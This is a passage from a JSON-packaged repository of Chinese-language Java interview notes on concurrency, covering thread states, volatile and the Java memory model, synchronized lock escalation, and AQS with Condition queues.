`抢占式调度`：由操作系统分配线程执行的时间，线程切换的决定权在操作系统。\n\n有时候我们需要为某些线程多分配时间，这时我们就需要用到线程优先级的方法，Java提供了10种优先级。Java优先级是在操作系统的原生线程优先级上实现的，所以对于同一个优先级，不同的操作系统可能有不同的表现，也就是说 **Java线程优先级不是可靠的**。\n\n## Java线程状态切换\n\nJava线程模型定义了 6 种状态，在任意一个时间点，一个线程有且只有其中一个状态：\n\n  * `新建（New）`：新建的Thread，尚未开始。\n  * `运行（Runable）`：包含操作系统线程状态中的Running、Ready，也就是处于正在执行或正在等待CPU分配时间的状态。\n  * `无限期等待（Waiting）`：处于这种状态的线程不会被分配CPU时间，等待其他线程唤醒。\n  * `限期等待（Timed Waiting）`：处于这种状态的线程不会被分配CPU时间，在一定时间后会由系统自动唤醒。\n  * `阻塞（Blocked）`：在等待获得排他锁。\n  * `结束（Terminated）`：已终止的线程。\n\n![](images/thread_4.jpg)\n\n## 线程安全\n\n多线程访问同一代码，不会产生不确定的结果。\n\n## Java 线程池\n"
  },
  {
    "path": "docs/android/interview/java/concurrent/2-volatile.md",
    "content": "# [Volatile原理](http://www.cnblogs.com/dolphin0520/p/3920373.html)\n\n## 计算机内存模型\n\n计算机在执行程序时，每条指令都是在CPU中执行的，而执行指令过程中，势必涉及到数据的读取和写入。由于程序运行过程中的临时数据是存放在主存（物理内存）当中的，这时就存在一个问题，由于CPU执行速度很快，而从内存读取数据和向内存写入数据的过程跟CPU执行指令的速度比起来要慢的多，因此如果任何时候对数据的操作都要通过和内存的交互来进行，会大大降低指令执行的速度。因此在CPU里面就有了高速缓存。**当程序在运行过程中，会将运算需要的数据从主存复制一份到CPU的高速缓存当中，那么CPU进行计算时就可以直接从它的高速缓存读取数据和向其中写入数据，当运算结束之后，再将高速缓存中的数据刷新到主存当中**。举个简单的例子，比如下面的这段代码：\n\n```Java\ni = i + 1;\n```\n\n> 当线程执行这个语句时，会先从主存当中读取`i`的值，然后复制一份到高速缓存当中，然后 CPU 执行指令对`i`进行加1操作，然后将数据写入高速缓存，最后将高速缓存中`i`最新的值刷新到主存当中。\n\n这个代码在单线程中运行是没有任何问题的，但是在多线程中运行就会有问题了。在多核 CPU 中，每条线程可能运行于不同的 CPU 中，因此 **每个线程运行时有自己的高速缓存**（对单核CPU来说，其实也会出现这种问题，只不过是以线程调度的形式来分别执行的）。比如同时有两个线程执行这段代码，假如初始时`i`的值为`0`，那么我们希望两个线程执行完之后i的值变为2。但是事实会是这样吗？\n\n可能出现这种情况：初始时，**两个线程分别读取`i`的值存入各自所在的 CPU 的高速缓存当中，然后 线程1 进行加1操作，然后把`i`的最新值1写入到内存。此时线程2的高速缓存当中`i`的值还是0，进行加1操作之后，`i`的值为1，然后线程2把i的值写入内存。最终结果`i`的值是1，而不是2。这就是著名的缓存一致性问题**。通常称这种被多个线程访问的变量为共享变量。\n\n为了解决缓存不一致性问题，通常来说有以下两种解决方法：\n\n  - 通过在总线加`LOCK#`锁的方式\n  - 通过 **缓存一致性协议**\n\n> 这两种方式都是硬件层面上提供的方式。\n\n在早期的 CPU 当中，是通过在总线上加`LOCK#`锁的形式来解决缓存不一致的问题。因为 CPU 和其他部件进行通信都是通过总线来进行的，如果对总线加LOCK#锁的话，也就是说阻塞了其他 CPU 对其他部件访问（如内存），从而使得只能有一个 CPU 能使用这个变量的内存。比如上面例子中 如果一个线程在执行 `i = i +1`，如果在执行这段代码的过程中，在总线上发出了`LCOK#`锁的信号，那么只有等待这段代码完全执行完毕之后，其他CPU才能从变量i所在的内存读取变量，然后进行相应的操作。这样就解决了缓存不一致的问题。但是上面的方式会有一个问题，**由于在锁住总线期间，其他CPU无法访问内存，导致效率低下**。\n\n所以就出现了缓存一致性协议。最出名的就是 Intel 的`MESI协议`，`MESI协议`保证了每个缓存中使用的共享变量的副本是一致的。它核心的思想是：**当CPU写数据时，如果发现操作的变量是共享变量，即在其他CPU中也存在该变量的副本，会发出信号通知其他CPU将该变量的缓存行置为无效状态，因此当其他CPU需要读取这个变量时，发现自己缓存中缓存该变量的缓存行是无效的，那么它就会从内存重新读取**。\n\n![](images/volatile_1.jpg)\n\n##　Java内存模型\n\n在Java虚拟机规范中试图定义一种Java内存模型（`Java Memory Model，JMM`）来屏蔽各个硬件平台和操作系统的内存访问差异，以实现让Java程序在各种平台下都能达到一致的内存访问效果。那么Java内存模型规定了程序中变量的访问规则，往大一点说是定义了程序执行的次序。**注意，为了获得较好的执行性能，Java内存模型并没有限制执行引擎使用处理器的寄存器或者高速缓存来提升指令执行速度，也没有限制编译器对指令进行重排序。也就是说，在java内存模型中，也会存在缓存一致性问题和指令重排序的问题**。\n\n**Java内存模型规定所有的变量都是存在主存当中（类似于前面说的物理内存），每个线程都有自己的工作内存（类似于前面的高速缓存）。线程对变量的所有操作都必须在工作内存中进行，而不能直接对主存进行操作。并且每个线程不能访问其他线程的工作内存**。\n\n在Java中，执行下面这个语句：\n\n```Java\ni  = 10;\n```\n\n执行线程必须先在自己的工作线程中对变量`i`所在的缓存行进行赋值操作，然后再写入主存当中。而不是直接将数值`10`写入主存当中。那么Java语言本身对 原子性、可见性以及有序性提供了哪些保证呢？\n\n### 原子性\n\n> 即一个操作或者多个操作 要么全部执行并且执行的过程不会被任何因素打断，要么就都不执行。\n\n**在Java中，对基本数据类型的变量的读取和赋值操作是原子性操作，即这些操作是不可被中断的，要么执行，要么不执行**。上面一句话虽然看起来简单，但是理解起来并不是那么容易。看下面一个例子`i`：请分析以下哪些操作是原子性操作：\n\n```Java\nx = 10;        //语句1\ny = x;         //语句2\nx++;           //语句3\nx = x + 1;     //语句4\n```\n\n咋一看，有些朋友可能会说上面的4个语句中的操作都是原子性操作。**其实只有`语句1`是原子性操作，其他三个语句都不是原子性操作**。\n\n  - `语句1`是直接将数值`10`赋值给`x`，也就是说线程执行这个语句的会直接将数值`10`写入到工作内存中。\n  - `语句2`实际上包含2个操作，它先要去读取`x`的值，再将`x`的值写入工作内存，虽然读取x的值以及 将x的值写入工作内存 这2个操作都是原子性操作，但是合起来就不是原子性操作了。\n  - 同样的，`x++`和 `x = x+1`包括3个操作：读取`x`的值，进行加`1`操作，写入新的值。\n\n也就是说，**只有简单的读取、赋值（而且必须是将数字赋值给某个变量，变量之间的相互赋值不是原子操作）才是原子操作**。不过这里有一点需要注意：**在32位平台下，对64位数据的读取和赋值是需要通过两个操作来完成的，不能保证其原子性。但是好像在最新的JDK中，JVM已经保证对64位数据的读取和赋值也是原子性操作了**。\n\n从上面可以看出，Java内存模型只保证了基本读取和赋值是原子性操作，如果要实现更大范围操作的原子性，可以通过`synchronize`d和`Lock`来实现。由于`synchronized`和`Lock`能够保证任一时刻只有一个线程执行该代码块，那么自然就不存在原子性问题了，从而保证了原子性。\n\n### 可见性\n\n> 可见性是指当多个线程访问同一个变量时，一个线程修改了这个变量的值，其他线程能够立即看得到修改的值。\n\n对于可见性，Java提供了`volatile`关键字来保证可见性。**当一个共享变量被`volatile`修饰时，它会保证修改的值会立即被更新到主存，当有其他线程需要读取时，它会去内存中读取新值**。而普通的共享变量不能保证可见性，因为普通共享变量被修改之后，什么时候被写入主存是不确定的，当其他线程去读取时，此时内存中可能还是原来的旧值，因此无法保证可见性。\n\n另外，通过`synchronized`和`Lock`也能够保证可见性，`synchronized`和`Lock`能保证同一时刻只有一个线程获取锁然后执行同步代码，并且在释放锁之前会将对变量的修改刷新到主存当中。因此可以保证可见性。\n\n### 有序性\n\n> 即程序执行的顺序按照代码的先后顺序执行。\n\n> 指令重排序，一般来说，处理器为了提高程序运行效率，可能会对输入代码进行优化，它不保证程序中各个语句的执行先后顺序同代码中的顺序一致，但是它会保证程序最终执行结果和代码顺序执行的结果是一致的。\n\n**处理器在进行重排序时是会考虑指令之间的数据依赖性，如果一个指令Instruction 2必须用到Instruction 1的结果，那么处理器会保证Instruction 1会在Instruction 2之前执行**。\n\n在Java内存模型中，允许编译器和处理器对指令进行重排序，但是重排序过程不会影响到单线程程序的执行，却会影响到多线程并发执行的正确性。\n\n在Java里面，可以通过`volatile`关键字来保证一定的“有序性”（具体原理在下一节讲述）。另外可以通过`synchronized`和`Lock`来保证有序性，很显然，`synchronized`和`Lock`保证每个时刻是有一个线程执行同步代码，相当于是让线程顺序执行同步代码，自然就保证了有序性。\n\n另外，Java内存模型具备一些先天的“有序性”，即不需要通过任何手段就能够得到保证的有序性，这个通常也称为 `happens-before` 原则。如果两个操作的执行次序无法从`happens-before`原则推导出来，那么它们就不能保证它们的有序性，虚拟机可以随意地对它们进行重排序。\n\n下面就来具体介绍下`happens-before`原则（先行发生原则）：\n\n  - **程序次序规则**：一个线程内，按照代码顺序，书写在前面的操作先行发生于书写在后面的操作\n  - **锁定规则**：一个unLock操作先行发生于后面对同一个锁额lock操作\n  - **volatile变量规则**：对一个变量的写操作先行发生于后面对这个变量的读操作\n  - **传递规则**：如果操作A先行发生于操作B，而操作B又先行发生于操作C，则可以得出操作A先行发生于操作C\n  - **线程启动规则**：Thread对象的start()方法先行发生于此线程的每个一个动作\n  - **线程中断规则**：对线程interrupt()方法的调用先行发生于被中断线程的代码检测到中断事件的发生\n  - **线程终结规则**：线程中所有的操作都先行发生于线程的终止检测，我们可以通过Thread.join()方法结束、Thread.isAlive()的返回值手段检测到线程已经终止执行\n  - **对象终结规则**：一个对象的初始化完成先行发生于他的finalize()方法的开始\n\n\n对于程序次序规则来说，我的理解就是一段程序代码的执行在单个线程中看起来是有序的。注意，虽然这条规则中提到“书写在前面的操作先行发生于书写在后面的操作”，这个应该是程序看起来执行的顺序是按照代码顺序执行的，因为虚拟机可能会对程序代码进行指令重排序。虽然进行重排序，但是最终执行的结果是与程序顺序执行的结果一致的，它只会对不存在数据依赖性的指令进行重排序。因此，在单个线程中，程序执行看起来是有序执行的，这一点要注意理解。事实上，这个规则是用来保证程序在单线程中执行结果的正确性，但无法保证程序在多线程中执行的正确性。\n\n第二条规则也比较容易理解，也就是说无论在单线程中还是多线程中，同一个锁如果出于被锁定的状态，那么必须先对锁进行了释放操作，后面才能继续进行lock操作。\n\n第三条规则是一条比较重要的规则，也是后文将要重点讲述的内容。**直观地解释就是，如果一个线程先去写一个变量，然后一个线程去进行读取，那么写入操作肯定会先行发生于读操作**。\n\n第四条规则实际上就是体现`happens-before`原则具备传递性。\n\n## 深入剖析Volatile关键字\n\n### Volatile的语义\n\n一旦一个共享变量（类的成员变量、类的静态成员变量）被`volatile`修饰之后，那么就具备了两层语义：\n\n  - 保证了不同线程对这个变量进行操作时的可见性，即一个线程修改了某个变量的值，这新值对其他线程来说是立即可见的。\n　- 禁止进行指令重排序。\n\n先看一段代码，假如线程1先执行，线程2后执行：\n\n```Java\n//线程1\nboolean stop = false;\nwhile(!stop){\n    doSomething();\n}\n\n//线程2\nstop = true;\n```\n\n这段代码是很典型的一段代码，很多人在中断线程时可能都会采用这种标记办法。但是事实上，这段代码会完全运行正确么？即一定会将线程中断么？不一定，也许在大多数时候，这个代码能够把线程中断，但是也有可能会导致无法中断线程（虽然这个可能性很小，但是只要一旦发生这种情况就会造成死循环了）。\n\n下面解释一下这段代码为何有可能导致无法中断线程。在前面已经解释过，每个线程在运行过程中都有自己的工作内存，那么`线程1`在运行的时候，会将`stop`变量的值拷贝一份放在自己的工作内存当中。\n\n那么当`线程2`更改了`stop`变量的值之后，但是还没来得及写入主存当中，`线程2`转去做其他事情了，那么`线程1`由于不知道`线程2`对`stop`变量的更改，因此还会一直循环下去。但是用`volatile`修饰之后就变得不一样了：\n\n　- 使用`volatile`关键字会强制将修改的值立即写入主存；\n  - 使用`volatile`关键字的话，当`线程2`进行修改时，会导致`线程1`的工作内存中缓存变量`stop`的缓存行无效（*反映到硬件层的话，就是CPU的L1或者L2缓存中对应的缓存行无效*）；\n  - 由于`线程1`的工作内存中缓存变量`stop`的缓存行无效，所以`线程1`再次读取变量`stop`的值时会去主存读取。\n  - 那么在`线程2`修改`stop`值时（当然这里包括2个操作，修改线程2工作内存中的值，然后将修改后的值写入内存），会使得`线程1`的工作内存中缓存变量`stop`的缓存行无效，然后`线程1`读取时，发现自己的缓存行无效，它会等待缓存行对应的主存地址被更新之后，然后去对应的主存读取最新的值。\n\n那么线程1读取到的就是最新的正确的值。\n\n### Volatile与原子性\n\n从上面知道`volatile`关键字保证了操作的可见性，但是`volatile`能保证对变量的操作是原子性吗？\n\n下面看一个例子：\n\n```Java\npublic class Test {\n    public volatile int inc = 0;\n\n    public void increase() {\n        inc++;\n    }\n\n    public static void main(String[] args) {\n        final Test test = new Test();\n        for(int i=0;i<10;i++){\n            new Thread(){\n                public void run() {\n                    for(int j=0;j<1000;j++)\n                        test.increase();\n                };\n            }.start();\n        }\n\n        while(Thread.activeCount()>1)  //保证前面的线程都执行完\n            Thread.yield();\n        System.out.println(test.inc);\n    }\n}\n```\n\n大家想一下这段程序的输出结果是多少？**也许有些朋友认为是10000。但是事实上运行它会发现每次运行结果都不一致，都是一个小于10000的数字**。可能有的朋友就会有疑问，不对啊，上面是对变量`inc`进行自增操作，由于`volatile`保证了可见性，那么在每个线程中对`inc`自增完之后，在其他线程中都能看到修改后的值啊，所以有10个线程分别进行了1000次操作，那么最终`inc`的值应该是`1000*10=10000`。\n\n**这里面就有一个误区了，volatile关键字能保证可见性没有错，但是上面的程序错在没能保证原子性。可见性只能保证每次读取的是最新的值，但是volatile没办法保证对变量的操作的原子性**。\n\n在前面已经提到过，自增操作是不具备原子性的，它包括读取变量的原始值、进行加1操作、写入工作内存。那么就是说自增操作的三个子操作可能会分割开执行，就有可能导致下面这种情况出现：\n\n```\n假如某个时刻变量inc的值为10，\n\n线程1对变量进行自增操作，线程1先读取了变量inc的原始值，然后线程1被阻塞了；\n\n然后线程2对变量进行自增操作，线程2也去读取变量inc的原始值，由于线程1只是对变量inc进行读取操作，而没有对变量进行修改操作，所以不会导致线程2的工作内存中缓存变量inc的缓存行无效，所以线程2会直接去主存读取inc的值，发现inc的值时10，然后进行加1操作，并把11写入工作内存，最后写入主存。\n\n然后线程1接着进行加1操作，由于已经读取了inc的值，注意此时在线程1的工作内存中inc的值仍然为10，所以线程1对inc进行加1操作后inc的值为11，然后将11写入工作内存，最后写入主存。\n\n那么两个线程分别进行了一次自增操作后，inc只增加了1。\n```\n\n解释到这里，可能有朋友会有疑问，不对啊，前面不是保证一个变量在修改volatile变量时，会让缓存行无效吗？然后其他线程去读就会读到新的值，对，这个没错。这个就是上面的`happens-before`规则中的`volatile`变量规则，但是要注意，**线程1对变量进行读取操作之后，被阻塞了的话，并没有对inc值进行修改。然后虽然volatile能保证线程2对变量inc的值读取是从内存中读取的，但是线程1没有进行修改，所以线程2根本就不会看到修改的值**。\n\n**根源就在这里，自增操作不是原子性操作，而且volatile也无法保证对变量的任何操作都是原子性的**。解决的方法也就是对提供原子性的自增操作即可。\n\n在`Java 1.5`的`java.util.concurrent.atomic`包下提供了一些原子操作类，即对基本数据类型的 自增（加1操作），自减（减1操作）、以及加法操作（加一个数），减法操作（减一个数）进行了封装，保证这些操作是原子性操作。`atomic`是利用CAS来实现原子性操作的（`Compare And Swap`），CAS实际上是利用处理器提供的CMPXCHG指令实现的，而处理器执行CMPXCHG指令是一个原子性操作。\n\n### Volatile与有序性\n\n在前面提到`volatile`关键字能禁止指令重排序，所以`volatile`能在一定程度上保证有序性。`volatile`关键字禁止指令重排序有两层意思：\n\n  - 当程序执行到`volatile`变量的读操作或者写操作时，在其前面的操作的更改肯定全部已经进行，且结果已经对后面的操作可见，在其后面的操作肯定还没有进行；\n  - **在进行指令优化时，不能将在对`volatile`变量访问的语句放在其后面执行，也不能把`volatile`变量后面的语句放到其前面执行**。\n\n可能上面说的比较绕，举个简单的例子：\n\n```Java\n//x、y为非volatile变量\n//flag为volatile变量\n\nx = 2;        //语句1\ny = 0;        //语句2\nflag = true;  //语句3\nx = 4;         //语句4\ny = -1;       //语句5\n```\n\n由于flag变量为`volatile`变量，那么在进行指令重排序的过程的时候，不会将`语句3`放到`语句1`、`语句2`前面，也不会讲`语句3`放到`语句4`、`语句5`后面。但是要注意`语句1`和`语句2`的顺序、`语句4`和`语句5`的顺序是不作任何保证的。\n\n并且`volatile`关键字能保证，执行到`语句3`时`，语句1`和`语句2`必定是执行完毕了的，且`语句1`和`语句2`的执行结果对`语句3`、`语句4`、`语句5`是可见的。\n\n### Volatile的原理和实现机制\n\n前面讲述了源于volatile关键字的一些使用，下面我们来探讨一下volatile到底如何保证可见性和禁止指令重排序的。下面这段话摘自《深入理解Java虚拟机》：\n\n> 观察加入volatile关键字和没有加入volatile关键字时所生成的汇编代码发现，加入volatile关键字时，会多出一个lock前缀指令\n\nlock前缀指令实际上相当于一个 **内存屏障**（也成内存栅栏），内存屏障会提供3个功能：\n\n  - 它 **确保指令重排序时不会把其后面的指令排到内存屏障之前的位置，也不会把前面的指令排到内存屏障的后面**；即在执行到内存屏障这句指令时，在它前面的操作已经全部完成；\n  - 它会 **强制将对缓存的修改操作立即写入主存**；\n  - **如果是写操作，它会导致其他CPU中对应的缓存行无效**。\n"
  },
  {
    "path": "docs/android/interview/java/concurrent/3-synchronized.md",
    "content": "# [Synchronized原理](http://blog.csdn.net/chen77716/article/details/6618779)\n\n在多线程并发编程中`Synchronized`一直是元老级角色，很多人都会称呼它为重量级锁，但是随着`Java SE1.6`对`Synchronized`进行了各种优化之后，有些情况下它并不那么重了，本文详细介绍了`Java SE1.6`中为了减少获得锁和释放锁带来的性能消耗而引入的偏向锁和轻量级锁，以及锁的存储结构和升级过程。\n\nCAS(Compare and Swap)，用于在硬件层面上提供原子性操作。在 Intel 处理器中，比较并交换通过指令`cmpxchg`实现。比较是否和给定的数值一致，如果一致则修改，不一致则不修改。\n\n## 基础\n\nJava中的每一个对象都可以作为锁。\n\n  - 对于同步方法，锁是当前实例对象。\n  - 对于静态同步方法，锁是当前对象的Class对象。\n  - 对于同步方法块，锁是`Synchonized`括号里配置的对象。\n\n当一个线程试图访问同步代码块时，它首先必须得到锁，退出或抛出异常时必须释放锁。那么锁存在哪里呢？锁里面会存储什么信息呢？\n\n## 同步的原理\n\nJVM规范规定JVM基于进入和退出 `Monitor` 对象来实现方法同步和代码块同步，但两者的实现细节不一样。代码块同步是使用`monitorenter`和`monitorexit`指令实现，而方法同步是使用另外一种方式实现的，细节在JVM规范里并没有详细说明，但是方法的同步同样可以使用这两个指令来实现。\n\n`monitorenter`指令是在编译后插入到同步代码块的开始位置，而`monitorexit`是插入到方法结束处和异常处，JVM要保证每个`monitorenter`必须有对应的`monitorexit`与之配对。任何对象都有一个`monitor`与之关联，当且一个`monitor`被持有后，它将处于锁定状态。线程执行到 `monitorenter` 指令时，将会尝试获取对象所对应的 `monitor` 的所有权，即尝试获得对象的锁。\n\n### Java对象头\n\n锁存在Java对象头里。如果对象是数组类型，则虚拟机用3个Word（字宽）存储对象头，如果对象是非数组类型，则用2字宽存储对象头。在32位虚拟机中，一字宽等于四字节，即32bit。\n\n| 长度     | 内容     | 说明        |\n| :------------- | :------------- |\n|32/64bit|\tMark Word\t|存储对象的hashCode或锁信息等|\n|32/64bit|\tClass Metadata Address\t|存储到对象类型数据的指针|\n|32/64bit|\tArray length\t|数组的长度（如果当前对象是数组）|\n\nJava对象头里的`Mark Word`里默认存储对象的`HashCode`，分代年龄和锁标记位。32位JVM的`Mark Word`的默认存储结构如下：\n\n|      | 25 bit    |4bit|1bit是否是偏向锁|2bit锁标志位|\n| :------------- | :------------- |\n|无锁状态|\t对象的hashCode|\t对象分代年龄|\t0|\t01|\n\n在运行期间`Mark Word`里存储的数据会随着锁标志位的变化而变化。`Mark Word`可能变化为存储以下4种数据：\n\n![](images/synchronized_1.png)\n\n### 锁的升级\n\nJava SE1.6为了减少获得锁和释放锁所带来的性能消耗，引入了“偏向锁”和“轻量级锁”，所以在Java SE1.6里锁一共有四种状态，`无锁状态`，`偏向锁状态`，`轻量级锁状态`和`重量级锁状态`，它会随着竞争情况逐渐升级。**锁可以升级但不能降级，意味着偏向锁升级成轻量级锁后不能降级成偏向锁。这种锁升级却不能降级的策略，目的是为了提高获得锁和释放锁的效率**。\\\n\n## 线程对锁的竞争\n\n当多个线程同时请求某个对象监视器时，对象监视器会设置几种状态用来区分请求的线程：\n\n  - `Contention List`：所有请求锁的线程将被首先放置到该竞争队列\n  - `Entry List`：Contention List中那些有资格成为候选人的线程被移到Entry List\n  - `Wait Set`：那些调用wait方法被阻塞的线程被放置到Wait Set\n  - `OnDeck`：任何时刻最多只能有一个线程正在竞争锁，该线程称为OnDeck\n  - `Owner`：获得锁的线程称为Owner\n  - `!Owner`：释放锁的线程\n\n![](images/synchronized_2.gif)\n\n新请求锁的线程将首先被加入到`ConetentionList`中，当某个拥有锁的线程（Owner状态）调用unlock之后，如果发现`EntryList`为空则从`ContentionList`中移动线程到`EntryList`，下面说明下`ContentionList`和`EntryList`的实现方式：\n\n### ContentionList\n\n`ContentionList`并不是一个真正的Queue，而只是一个虚拟队列，原因在于`ContentionLis`t是由Node及其next指针逻辑构成，并不存在一个Queue的数据结构。`ContentionList`是一个后进先出（LIFO）的队列，每次新加入Node时都会在队头进行，通过CAS改变第一个节点的的指针为新增节点，同时设置新增节点的next指向后续节点，而取得操作则发生在队尾。显然，该结构其实是个Lock-Free的队列。\n\n因为只有Owner线程才能从队尾取元素，也即线程出列操作无争用，当然也就避免了CAS的ABA问题。\n\n### EntryList\n\n`EntryList`与`ContentionList`逻辑上同属等待队列，`ContentionList`会被线程并发访问，为了降低对`ContentionList`队尾的争用，而建立`EntryList`。**Owner线程在unlock时会从ContentionList中迁移线程到EntryList，并会指定EntryList中的某个线程（一般为Head）为Ready（OnDeck）线程。Owner线程并不是把锁传递给OnDeck线程，只是把竞争锁的权利交给OnDeck，OnDeck线程需要重新竞争锁**。这样做虽然牺牲了一定的公平性，但极大的提高了整体吞吐量，在Hotspot中把OnDeck的选择行为称之为“竞争切换”。\n\n`OnDeck`线程获得锁后即变为owner线程，无法获得锁则会依然留在`EntryList`中，考虑到公平性，在`EntryList`中的位置不发生变化（依然在队头）。如果`Owner`线程被wait方法阻塞，则转移到`WaitSet`队列；如果在某个时刻被`notify/notifyAll`唤醒，则再次转移到`EntryList`。\n"
  },
  {
    "path": "docs/android/interview/java/concurrent/4-AQS.md",
    "content": "# AQS\n\nAQS 提供一个框架，用于实现依赖于先进先出（FIFO）`等待队列` 的阻塞锁和相关同步器（信号量，事件等）。对于大多数依赖单个原子 int 值表示状态的同步器，该类可以作为十分有用的基类。子类必须定义所有的`protected`方法（包括`tryAcquire`、`tryRelease`），来改变这个状态，并且定义哪些状态代表来对象被使用和被释放。鉴于这些，该类中其他的方法用来实现队列和阻塞的机制。子类可以维护其他状态字段，但是只有使用 `getState` 、`setState`以及 `compareAndSetState` 来原子的操作状态值。\n\n子类需要定义非 `public` 的内部工具类用于实现其内部类的同步属性。`AbstractQueuedSynchronizer` 类不实现任何同步接口，相反，它定义了诸如`acquireInterruptibly`之类的方法，可以被具体的锁和相关的同步器适当地调用，以实现它们的公共方法。\n\n该类支持默认的独占模式和共享模式。当一个线程处在独占模式下，其他试图 `acquire` 的线程都无法成功。共享模式可以同时被多个线程 `acquire`成功。在具体的应用场景中该类无法理解这些区别，当共享模式 `acquire` 成功之后，下一个线程（如果有一个存在）必须判定是否能够`acquire`。线程等待在不同的模式里但是会共享同一个FIFO队列。通常来说，子类只需要支持其中一种模式，但是如果都支持，可以参照`ReadWriteLock`。子类不需要定义不支持模式的方法。\n\n该类定义`AbstractQueuedSynchronizer.ConditionObject`内部类，可以被子类使用的 `Condition` 实现，来支持独占模式 `isHeldExclusively` 判定当前线程的同步是否是独占模式，可用通过`release`方法与 `getState` 方法来完全释放当前对象，在将保存的状态值调用`acquire`，最终将此对象恢复到其先前获取的状态。`AbstractQueuedSynchronizer`没有方法来创建 `Condition`，所以如果无法满足这个约束，则不要使用它。`AbstractQueuedSynchronizer.ConditionObject` 的行为与具体的同步器实现有关。\n\n该类为内部队列提供检查，检测和监视方法，以及 在`condition objects`上的类似方法。 这些方法可以根据需要使用 `AbstractQueuedSynchronizer` 用于它们的同步机制。该类的序列化仅存储 `atomic int` 的状态值，因此反序列化对象的线程队列为空。\n\n## 使用\n\n为了使用该类去创建一个同步器，需要重新定义以下方法，并使用 `getState`, `setState`, `compareAndSetState` 方法来改变同步状态。\n  - tryAcquire\n  - tryRelease\n  - tryAcquireShared\n  - tryReleaseShared\n  - isHeldExclusively\n\n上述所有方法默认实现都会抛出 `UnsupportedOperationException`。这个方法的具体实现必须保证内部的线程安全，并且应该快速并且不会阻塞。所有其他方法均为 `final`，因为他们不能独立变化。\n\nYou may also find the inherited methods from AbstractOwnableSynchronizer useful to keep track of the thread owning an exclusive synchronizer. You are encouraged to use them -- this enables monitoring and diagnostic tools to assist users in determining which threads hold locks.\n\n也许你发现一些继承自 `AbstractOwnableSynchronizer` 的方法非常有助于线程保持拥有其独占同步器。同时我们也鼓励使用他们，有助于监控和诊断工具判定哪些线程持有来锁。\n\n## [ReentrantLock](http://ifeve.com/java-special-troops-aqs/)\n\n>公平锁相比与非公平锁在 `tryAcquire`中会多判定一个 `hasQueuedPredecessors`，如果为 `false`（队列头为当前线程--已获取锁 or 队列为空）并且成功修改状态值，则可以认为获取锁成功，这样才是重入，不然加到队尾就会有麻烦。\n\nReentrantLock 中通过两个子类 `FairSync` 和 `NoFairSync` 继承 AQS 来实现锁。在`Lock`方法中，直接调用 AQS 的 `acquire`，`acquire`会调用 `NoFairSync` 中的`tryAcquire`来尝试让当前线程直接获取锁。如果失败则会创建链表节点，将当前线程加入队列，并`park`。当`release`方法被调用后，会寻找队列下一个节点进行 `unpark`，这样他就有机会在`acquireQueued`中获取锁。\n\n> 公平和非公平就体现在 `tryAcquire` 方法中，`FairSync`会判定当前线程是否已获取锁 or 队列为空，在这样的情况下才会尝试获取锁。而`NoFairSync`会直接来获取锁。\n\n## [Condition](https://javadoop.com/post/AbstractQueuedSynchronizer-2/)\n\n`Condition` 因子将 `Object monitor` 方法（`wait, notify and notifyAll`）拆分为不同的对象，通过将它们与 `Lock` 相结合来实现每个对象具有多个等待集的效果。任何 `Lock` 可以替代 `synchronized` 关键字的地方，都可以用`Condition` 来替换`Object monitor` 方法。\n\n`Conditions`（也称为 条件队列 或者 条件变量）提供了一种方法 -- 让线程暂停执行，直到其他线程基于某种条件唤醒。在多个线程中访问一些共享的状态信息，是需要进行保护的，所以 `Lock` 与 `Condition` 有某种形式的关联。`Condition`提供的关键属性是它以原子方式释放关联的锁并挂起当前线程，就像`Object.wait`一样。\n\n`Condition` 本质上是绑定到 `Lock`。可以通过 `Lock.newCondition()` 来获取一个 `Condition` 实例。\n\n`Condition` 的实现可以提供相比于 `Object monitor`方法不一样的行为和语义，比如：被通知调起的顺序、在通知时不需要持有锁。如果实现类提供了不一样的语义，必须在文档中进行说明。\n\n`Condition` 实例只是普通的对象，可以用在同步语句中，并且有他们自己的 `Object monitor`的`wait`和 `notification` 方法。获取 `Condition` 对象的 `Object monitor` 或者使用其 `monitor` 方法，与`Lock` 中使用 `Condition` 的 `wait` 或者 `signal` 方法没有任何关系。为了避免混淆，不建议使用 `Condition` 的 `Object monitor` 方法，除非在它自己的实现里。\n\n### 实现类需要注意\n\n  - 虚假唤醒（`spurious wakeup`）：开发者最好将条件 `wait` 方法放在循环中\n  - `Condition` 有3中 `wait` 形式（`interruptible, non-interruptible, and timed`），在不同平台的底层实现可能不同。因此，不需要对三种 `wait` 定义一致的语义，也不需要支持中断形式的线程暂停。\n\n### AbstractQueuedSynchronizer.ConditionObject\n\n```\n/** First node of condition queue. */\nprivate transient Node firstWaiter;\n/** Last node of condition queue. */\nprivate transient Node lastWaiter;\n```\n\n在 `ConditionObject` 的内部维护了一个队列：`条件队列`，与 `AbstractQueuedSynchronizer` 里的 `等待队列` 不同。\n\n![](images/4-AQS-cef7a.png)\n\n基本上，把这张图看懂，你也就知道 condition 的处理流程了。所以，我先简单解释下这图，然后再具体地解释代码实现。\n\n  1. 条件队列和等待队列的节点，都是 Node 的实例，因为条件队列的节点是需要转移到等待队列中去的；\n  2. 我们知道一个 `ReentrantLock` 实例可以通过多次调用 `newCondition()` 来产生多个 `Condition` 实例，这里对应 `condition1` 和 `condition2`。注意，`ConditionObject` 只有两个属性 `firstWaiter` 和 `lastWaiter；`\n  3. 每个 `condition` 有一个关联的条件队列，如线程 1 调用 `condition1.await()` 方法即可将当前`线程 1` 包装成 `Node` 后加入到`条件队列`中，然后阻塞在这里，不继续往下执行，条件队列是一个单向链表；\n  4. 调用`condition1.signal()` 触发一次唤醒，此时唤醒的是队头，会将`condition1` 对应的条件队列的 `firstWaiter`（队头） 移到`等待队列`的队尾，等待获取锁，获取锁后 `await` 方法才能返回，继续往下执行。\n\n上面的 `2->3->4` 描述了一个最简单的流程，没有考虑中断、signalAll、还有带有超时参数的 await 方法等，不过把这里弄懂是这节的主要目的。\n"
  },
  {
    "path": "docs/android/interview/java/concurrent/5-threadlocal.md",
